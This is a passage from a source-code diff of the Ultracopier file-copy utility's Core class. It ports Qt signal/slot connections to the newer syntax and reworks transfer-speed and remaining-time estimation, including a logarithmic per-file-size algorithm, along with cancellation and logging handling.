- disconnect(currentCopyInstance.interface,SIGNAL(urlDropped(QList<QUrl>)), this,SLOT(urlDropped(QList<QUrl>)));
-
- disconnect(currentCopyInstance.engine,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)), currentCopyInstance.interface,SLOT(getActionOnList(QList<returnActionOnCopyList>)));
- disconnect(currentCopyInstance.engine,SIGNAL(pushFileProgression(QList<ProgressionItem>)), currentCopyInstance.interface,SLOT(setFileProgression(QList<ProgressionItem>)));
- disconnect(currentCopyInstance.engine,SIGNAL(pushGeneralProgression(quint64,quint64)), currentCopyInstance.interface,SLOT(setGeneralProgression(quint64,quint64)));*/
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start with index: %1: %2").arg(index).arg((quint64)sender()));
+ //disconnectInterface(index);
+
+ CopyInstance& currentCopyInstance=copyList[index];
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::pause, currentCopyInstance.engine,&PluginInterface_CopyEngine::pause))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for pause()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::resume, currentCopyInstance.engine,&PluginInterface_CopyEngine::resume))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for resume()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::skip, currentCopyInstance.engine,&PluginInterface_CopyEngine::skip))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for skip()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::newSpeedLimitation, currentCopyInstance.engine,&PluginInterface_CopyEngine::setSpeedLimitation))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for newSpeedLimitation()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::userAddFolder, currentCopyInstance.engine,&PluginInterface_CopyEngine::userAddFolder))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for userAddFolder()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::userAddFile, currentCopyInstance.engine,&PluginInterface_CopyEngine::userAddFile))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for userAddFile()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::removeItems, currentCopyInstance.engine,&PluginInterface_CopyEngine::removeItems))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for removeItems()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::moveItemsOnTop, currentCopyInstance.engine,&PluginInterface_CopyEngine::moveItemsOnTop))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for moveItemsOnTop()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::moveItemsUp, currentCopyInstance.engine,&PluginInterface_CopyEngine::moveItemsUp))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for moveItemsUp()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::moveItemsDown, currentCopyInstance.engine,&PluginInterface_CopyEngine::moveItemsDown))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for moveItemsDown()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::moveItemsOnBottom, currentCopyInstance.engine,&PluginInterface_CopyEngine::moveItemsOnBottom))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for moveItemsOnBottom()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::exportTransferList, currentCopyInstance.engine,&PluginInterface_CopyEngine::exportTransferList))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for exportTransferList()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::exportErrorIntoTransferList, currentCopyInstance.engine,&PluginInterface_CopyEngine::exportErrorIntoTransferList))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for exportErrorIntoTransferList()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::importTransferList, currentCopyInstance.engine,&PluginInterface_CopyEngine::importTransferList))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for importTransferList()").arg(index).arg((quint64)sender()));
+
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::newSpeedLimitation, this,&Core::resetSpeedDetectedInterface))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for newSpeedLimitation()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::resume, this,&Core::resetSpeedDetectedInterface))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for resume()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::cancel, this,&Core::copyInstanceCanceledByInterface,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for cancel()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.interface,&PluginInterface_Themes::urlDropped, this,&Core::urlDropped,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for urlDropped()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::newActionOnList,this,&Core::getActionOnList, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for newActionOnList()").arg(index).arg((quint64)sender()));
+
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::pushFileProgression, currentCopyInstance.interface,&PluginInterface_Themes::setFileProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for pushFileProgression()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::pushGeneralProgression, currentCopyInstance.interface,&PluginInterface_Themes::setGeneralProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for pushGeneralProgression()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::pushGeneralProgression, this,&Core::pushGeneralProgression, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for pushGeneralProgression() for this").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::errorToRetry, currentCopyInstance.interface,&PluginInterface_Themes::errorToRetry, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the interface can not work correctly: %1: %2 for errorToRetry() for this").arg(index).arg((quint64)sender()));
+
+ currentCopyInstance.interface->setSupportSpeedLimitation(currentCopyInstance.engine->supportSpeedLimitation());
+ currentCopyInstance.interface->setCopyType(currentCopyInstance.type);
+ currentCopyInstance.interface->setTransferListOperation(currentCopyInstance.transferListOperation);
+ currentCopyInstance.interface->actionInProgess(currentCopyInstance.action);
+ currentCopyInstance.interface->isInPause(currentCopyInstance.isPaused);
+ if(currentCopyInstance.haveError)
+ currentCopyInstance.interface->errorDetected();
+ QWidget *tempWidget=currentCopyInstance.interface->getOptionsEngineWidget();
+ if(tempWidget!=NULL)
+ currentCopyInstance.interface->getOptionsEngineEnabled(currentCopyInstance.engine->getOptionsEngine(tempWidget));
+ //important, to have the modal dialog
+ currentCopyInstance.engine->setInterfacePointer(currentCopyInstance.interface);
+
+ //put entry into the interface
+ currentCopyInstance.engine->syncTransferList();
+
+ //force the updating, without wait the timer
+ periodicSynchronizationWithIndex(index);
}
void Core::periodicSynchronization()
{
- index_sub_loop=0;
- loop_size=copyList.size();
- while(index_sub_loop<loop_size)
- {
- if(copyList.at(index_sub_loop).action==Copying || copyList.at(index_sub_loop).action==CopyingAndListing)
- periodicSynchronization(index_sub_loop);
- index_sub_loop++;
- }
-}
-
-void Core::periodicSynchronization(const int &index)
-{
- CopyInstance& currentCopyInstance=copyList[index];
- if(currentCopyInstance.engine==NULL || currentCopyInstance.interface==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"some thread is null");
- return;
- }
-
- /** ***************** Do time calcul ******************* **/
- if(!currentCopyInstance.isPaused)
- {
- //calcul the last difference of the transfere
- realByteTransfered=currentCopyInstance.engine->realByteTransfered();
- diffCopiedSize=0;
- if(realByteTransfered>=currentCopyInstance.lastProgression)
- diffCopiedSize=realByteTransfered-currentCopyInstance.lastProgression;
- currentCopyInstance.lastProgression=realByteTransfered;
-
- // algo 1:
- // ((double)currentProgression)/totalProgression -> example: done 80% -> 0.8
- // baseTime+runningTime -> example: done into 80s, remaining time: 80/0.8-80=80*(1/0.8-1)=20s
- // algo 2 (not used):
- // remaining byte/current speed
-
- transferAddedTime=currentCopyInstance.baseTime+currentCopyInstance.runningTime.elapsed();
-
- //remaining time: (total byte - lastProgression)/byte per ms since the start
- if(currentCopyInstance.totalProgression==0 || currentCopyInstance.currentProgression==0)
- currentCopyInstance.interface->remainingTime(-1);
- else
- currentCopyInstance.interface->remainingTime(transferAddedTime*((double)currentCopyInstance.totalProgression/(double)currentCopyInstance.currentProgression-1)/1000);
-
- //do the speed calculation
- if(lastProgressionTime.isNull())
- lastProgressionTime.start();
- else
- {
- if((currentCopyInstance.action==Copying || currentCopyInstance.action==CopyingAndListing))
- {
- currentCopyInstance.lastSpeedTime << lastProgressionTime.elapsed();
- currentCopyInstance.lastSpeedDetected << diffCopiedSize;
- while(currentCopyInstance.lastSpeedDetected.size()>ULTRACOPIER_MAXVALUESPEEDSTORED)
- {
- currentCopyInstance.lastSpeedTime.removeFirst();
- currentCopyInstance.lastSpeedDetected.removeFirst();
- }
- totTime=0;
- totSpeed=0;
- index_sub_loop=0;
- loop_size=currentCopyInstance.lastSpeedDetected.size();
- while(index_sub_loop<loop_size)
- {
- totTime+=currentCopyInstance.lastSpeedTime.at(index_sub_loop);
- totSpeed+=currentCopyInstance.lastSpeedDetected.at(index_sub_loop);
- index_sub_loop++;
- }
- totTime/=1000;
- currentCopyInstance.interface->detectedSpeed(totSpeed/totTime);
- }
- lastProgressionTime.restart();
- }
- }
+ int index_sub_loop=0;
+ const int &loop_size=copyList.size();
+ while(index_sub_loop<loop_size)
+ {
+ if(copyList.at(index_sub_loop).action==Ultracopier::Copying || copyList.at(index_sub_loop).action==Ultracopier::CopyingAndListing)
+ periodicSynchronizationWithIndex(index_sub_loop);
+ index_sub_loop++;
+ }
+}
+
+void Core::periodicSynchronizationWithIndex(const int &index)
+{
+ CopyInstance& currentCopyInstance=copyList[index];
+ if(currentCopyInstance.engine==NULL || currentCopyInstance.interface==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"some thread is null");
+ return;
+ }
+
+ /** ***************** Do time calcul ******************* **/
+ if(!currentCopyInstance.isPaused)
+ {
+ //calcul the last difference of the transfere
+ realByteTransfered=currentCopyInstance.engine->realByteTransfered();
+ quint64 diffCopiedSize=0;
+ if(realByteTransfered>=currentCopyInstance.lastProgression)
+ diffCopiedSize=realByteTransfered-currentCopyInstance.lastProgression;
+ currentCopyInstance.lastProgression=realByteTransfered;
+
+ // algo 1:
+ // ((double)currentProgression)/totalProgression -> example: done 80% -> 0.8
+ // baseTime+runningTime -> example: done into 80s, remaining time: 80/0.8-80=80*(1/0.8-1)=20s
+ // algo 2 (not used):
+ // remaining byte/current speed
+
+ //remaining time: (total byte - lastProgression)/byte per ms since the start
+ /*if(currentCopyInstance.totalProgression==0 || currentCopyInstance.currentProgression==0)
+ currentCopyInstance.interface->remainingTime(-1);
+ else if((currentCopyInstance.totalProgression-currentCopyInstance.currentProgression)>1024)
+ currentCopyInstance.interface->remainingTime(transferAddedTime*((double)currentCopyInstance.totalProgression/(double)currentCopyInstance.currentProgression-1)/1000);*/
+
+ //do the speed calculation
+ if(lastProgressionTime.isNull())
+ lastProgressionTime.start();
+ else
+ {
+ if((currentCopyInstance.action==Ultracopier::Copying || currentCopyInstance.action==Ultracopier::CopyingAndListing))
+ {
+ currentCopyInstance.lastSpeedTime << lastProgressionTime.elapsed();
+ currentCopyInstance.lastSpeedDetected << diffCopiedSize;
+ currentCopyInstance.lastAverageSpeedTime << lastProgressionTime.elapsed();
+ currentCopyInstance.lastAverageSpeedDetected << diffCopiedSize;
+ while(currentCopyInstance.lastSpeedTime.size()>ULTRACOPIER_MAXVALUESPEEDSTORED)
+ currentCopyInstance.lastSpeedTime.removeFirst();
+ while(currentCopyInstance.lastSpeedDetected.size()>ULTRACOPIER_MAXVALUESPEEDSTORED)
+ currentCopyInstance.lastSpeedDetected.removeFirst();
+ while(currentCopyInstance.lastAverageSpeedTime.size()>ULTRACOPIER_MAXVALUESPEEDSTOREDTOREMAININGTIME)
+ currentCopyInstance.lastAverageSpeedTime.removeFirst();
+ while(currentCopyInstance.lastAverageSpeedDetected.size()>ULTRACOPIER_MAXVALUESPEEDSTOREDTOREMAININGTIME)
+ currentCopyInstance.lastAverageSpeedDetected.removeFirst();
+ double totTime=0,totAverageTime=0;
+ double totSpeed=0,totAverageSpeed=0;
+
+ //current speed
+ int index_sub_loop=0;
+ int loop_size=currentCopyInstance.lastSpeedDetected.size();
+ while(index_sub_loop<loop_size)
+ {
+ totTime+=currentCopyInstance.lastSpeedTime.at(index_sub_loop);
+ totSpeed+=currentCopyInstance.lastSpeedDetected.at(index_sub_loop);
+ index_sub_loop++;
+ }
+ totTime/=1000;
+
+ //speed to calculate the remaining time
+ index_sub_loop=0;
+ loop_size=currentCopyInstance.lastAverageSpeedDetected.size();
+ while(index_sub_loop<loop_size)
+ {
+ totAverageTime+=currentCopyInstance.lastAverageSpeedTime.at(index_sub_loop);
+ totAverageSpeed+=currentCopyInstance.lastAverageSpeedDetected.at(index_sub_loop);
+ index_sub_loop++;
+ }
+ totAverageTime/=1000;
+
+ if(totTime>0)
+ if(loop_size>=ULTRACOPIER_MINVALUESPEED)
+ currentCopyInstance.interface->detectedSpeed(totSpeed/totTime);
+
+ if(totAverageTime>0)
+ if(loop_size>=ULTRACOPIER_MINVALUESPEEDTOREMAININGTIME)
+ {
+ if(currentCopyInstance.remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Traditional)
+ {
+ if(totSpeed>0)
+ {
+ //remaining time: (total byte - lastProgression)/byte per ms since the start
+ if(currentCopyInstance.totalProgression==0 || currentCopyInstance.currentProgression==0)
+ currentCopyInstance.interface->remainingTime(-1);
+ else if((currentCopyInstance.totalProgression-currentCopyInstance.currentProgression)>1024)
+ currentCopyInstance.interface->remainingTime((currentCopyInstance.totalProgression-currentCopyInstance.currentProgression)/(totAverageSpeed/totAverageTime));
+ }
+ else
+ currentCopyInstance.interface->remainingTime(-1);
+ }
+ else if(currentCopyInstance.remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ int remainingTimeValue=0;
+ //calculate for each file class
+ index_sub_loop=0;
+ loop_size=currentCopyInstance.remainingTimeLogarithmicValue.size();
+ while(index_sub_loop<loop_size)
+ {
+ const RemainingTimeLogarithmicColumn &remainingTimeLogarithmicColumn=currentCopyInstance.remainingTimeLogarithmicValue.at(index_sub_loop);
+ //normal detect
+ const quint64 &remainingSize=remainingTimeLogarithmicColumn.totalSize-remainingTimeLogarithmicColumn.transferedSize;
+ if(remainingTimeLogarithmicColumn.lastProgressionSpeed.size()>=ULTRACOPIER_MINVALUESPEED)
+ {
+ int average_speed=0;
+ int temp_loop_index=0;
+ while(temp_loop_index<remainingTimeLogarithmicColumn.lastProgressionSpeed.size())
+ {
+ average_speed+=remainingTimeLogarithmicColumn.lastProgressionSpeed.at(temp_loop_index);
+ temp_loop_index++;
+ }
+ average_speed/=remainingTimeLogarithmicColumn.lastProgressionSpeed.size();
+ remainingTimeValue+=remainingSize/average_speed;
+ }
+ //fallback
+ else
+ {
+ if(totSpeed>0)
+ {
+ //remaining time: (total byte - lastProgression)/byte per ms since the start
+ if(currentCopyInstance.totalProgression==0 || currentCopyInstance.currentProgression==0)
+ remainingTimeValue+=1;
+ else if((currentCopyInstance.totalProgression-currentCopyInstance.currentProgression)>1024)
+ remainingTimeValue+=remainingSize/totAverageSpeed;
+ }
+ else
+ remainingTimeValue+=1;
+ }
+ index_sub_loop++;
+ }
+ currentCopyInstance.interface->remainingTime(remainingTimeValue);
+ }
+ else
+ {}//error case
+ }
+ }
+ lastProgressionTime.restart();
+ }
+ }
+}
+
+quint8 Core::fileCatNumber(quint64 size)
+{
+ //all is in base 10 to understand more easily
+ //drop the big value
+ if(size>ULTRACOPIER_REMAININGTIME_BIGFILEMEGABYTEBASE10*1000*1000)
+ size=ULTRACOPIER_REMAININGTIME_BIGFILEMEGABYTEBASE10*1000*1000;
+ size=size/100;//to group all the too small file into the value 0
+ return log10(size);
}
/// \brief the copy engine have canceled the transfer
void Core::copyInstanceCanceledByEngine()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- copyInstanceCanceledByIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ copyInstanceCanceledByIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
/// \brief the interface have canceled the transfer
void Core::copyInstanceCanceledByInterface()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=indexCopySenderInterface();
- if(index!=-1)
- copyInstanceCanceledByIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=indexCopySenderInterface();
+ if(index!=-1)
+ copyInstanceCanceledByIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
/// \brief the transfer have been canceled
void Core::copyInstanceCanceledByIndex(const int &index)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, remove with the index: "+QString::number(index));
- disconnectEngine(index);
- disconnectInterface(index);
- CopyInstance& currentCopyInstance=copyList[index];
- currentCopyInstance.engine->cancel();
- delete currentCopyInstance.nextConditionalSync;
- currentCopyInstance.engine->cancel();
- delete currentCopyInstance.interface;
- index_sub_loop=0;
- loop_size=currentCopyInstance.orderId.size();
- while(index_sub_loop<loop_size)
- {
- emit copyCanceled(currentCopyInstance.orderId.at(index_sub_loop));
- index_sub_loop++;
- }
- currentCopyInstance.orderId.clear();
- copyList.removeAt(index);
- if(copyList.size()==0)
- forUpateInformation.stop();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"copyList.size(): "+QString::number(copyList.size()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, remove with the index: "+QString::number(index));
+ //disconnectEngine(index);
+ //disconnectInterface(index);
+ copyList[index].canceled=true;
+ CopyInstance& currentCopyInstance=copyList[index];
+ currentCopyInstance.engine->cancel();
+ delete currentCopyInstance.nextConditionalSync;
+ delete currentCopyInstance.interface;
+ int index_sub_loop=0;
+ const int &loop_size=currentCopyInstance.orderId.size();
+ while(index_sub_loop<loop_size)
+ {
+ emit copyCanceled(currentCopyInstance.orderId.at(index_sub_loop));
+ index_sub_loop++;
+ }
+ currentCopyInstance.orderId.clear();
+ copyList.removeAt(index);
+ if(copyList.size()==0)
+ forUpateInformation.stop();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"copyList.size(): "+QString::number(copyList.size()));
}
/// \brief only when the copy engine say it's ready to delete them self, it call this
void Core::deleteCopyEngine()
{
- QObject * senderObject=sender();
- if(senderObject==NULL)
- {
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Qt sender() NULL");
- return;
- }
- PluginInterface_CopyEngine * copyEngine = static_cast<PluginInterface_CopyEngine *>(senderObject);
- if(copyEngine==NULL)
- {
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Qt sender() NULL");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, delete the copy engine");
- delete copyEngine;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop, delete the copy engine");
+ QObject * senderObject=sender();
+ if(senderObject==NULL)
+ {
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Qt sender() NULL");
+ return;
+ }
+ PluginInterface_CopyEngine * copyEngine = static_cast<PluginInterface_CopyEngine *>(senderObject);
+ if(copyEngine==NULL)
+ {
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Qt sender() NULL");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, delete the copy engine");
+ delete copyEngine;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop, delete the copy engine");
}
//error occurred
void Core::error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error)
{
- log.error(path,size,mtime,error);
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- copyList[index].haveError=true;
- copyList.at(index).interface->errorDetected();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ log.error(path,size,mtime,error);
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ copyList[index].haveError=true;
+ copyList.at(index).interface->errorDetected();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
//for the extra logging
void Core::rmPath(const QString &path)
{
- log.rmPath(path);
+ log.rmPath(path);
}
void Core::mkPath(const QString &path)
{
- log.mkPath(path);
+ log.mkPath(path);
}
/// \brief to rsync after a new interface connection
void Core::syncReady()
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- copyList[index].copyEngineIsSync=true;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ copyList[index].copyEngineIsSync=true;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
-void Core::getActionOnList(const QList<returnActionOnCopyList> & actionList)
+void Core::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &actionList)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- if(copyList[index].copyEngineIsSync)
- copyList[index].interface->getActionOnList(actionList);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //send the the interface
+ const int &index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start2"));
+ if(copyList.at(index).copyEngineIsSync)
+ copyList.at(index).interface->getActionOnList(actionList);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start3"));
+ //log to the file and compute the remaining time
+ if(log.logTransfer() || copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start4"));
+ int sub_index=0;
+ const int &size=actionList.size();
+ if(log.logTransfer() && copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start5"));
+ while(sub_index<size)
+ {
+ const Ultracopier::ReturnActionOnCopyList &returnAction=actionList.at(sub_index);
+ switch(returnAction.type)
+ {
+ case Ultracopier::PreOperation:
+ log.newTransferStart(returnAction.addAction);
+ break;
+ case Ultracopier::RemoveItem:
+ if(returnAction.userAction.moveAt==0)
+ log.newTransferStop(returnAction.addAction);
+ else
+ log.transferSkip(returnAction.addAction);
+ if(copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ const quint8 &col=fileCatNumber(returnAction.addAction.size);
+ copyList[index].remainingTimeLogarithmicValue[col].transferedSize+=returnAction.addAction.size;
+ }
+ break;
+ case Ultracopier::AddingItem:
+ if(copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ const quint8 &col=fileCatNumber(returnAction.addAction.size);
+ copyList[index].remainingTimeLogarithmicValue[col].totalSize+=returnAction.addAction.size;
+ }
+ break;
+ default:
+ break;
+ }
+ sub_index++;
+ }
+ }
+ else if(log.logTransfer())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start6"));
+ while(sub_index<size)
+ {
+ const Ultracopier::ReturnActionOnCopyList &returnAction=actionList.at(sub_index);
+ switch(returnAction.type)
+ {
+ case Ultracopier::PreOperation:
+ log.newTransferStart(returnAction.addAction);
+ break;
+ case Ultracopier::RemoveItem:
+ if(returnAction.userAction.moveAt==0)
+ log.newTransferStop(returnAction.addAction);
+ else
+ log.transferSkip(returnAction.addAction);
+ if(copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ const quint8 &col=fileCatNumber(returnAction.addAction.size);
+ copyList[index].remainingTimeLogarithmicValue[col].transferedSize+=returnAction.addAction.size;
+ }
+ break;
+ default:
+ break;
+ }
+ sub_index++;
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start7"));
+ while(sub_index<size)
+ {
+ const Ultracopier::ReturnActionOnCopyList &returnAction=actionList.at(sub_index);
+ switch(returnAction.type)
+ {
+ case Ultracopier::RemoveItem:
+ if(copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ const quint8 &col=fileCatNumber(returnAction.addAction.size);
+ copyList[index].remainingTimeLogarithmicValue[col].transferedSize+=returnAction.addAction.size;
+ }
+ break;
+ case Ultracopier::AddingItem:
+ if(copyList.at(index).remainingTimeAlgo==Ultracopier::RemainingTimeAlgo_Logarithmic)
+ {
+ const quint8 &col=fileCatNumber(returnAction.addAction.size);
+ copyList[index].remainingTimeLogarithmicValue[col].totalSize+=returnAction.addAction.size;
+ }
+ break;
+ default:
+ break;
+ }
+ sub_index++;
+ }
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start8"));
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start9"));
+ }
+ else
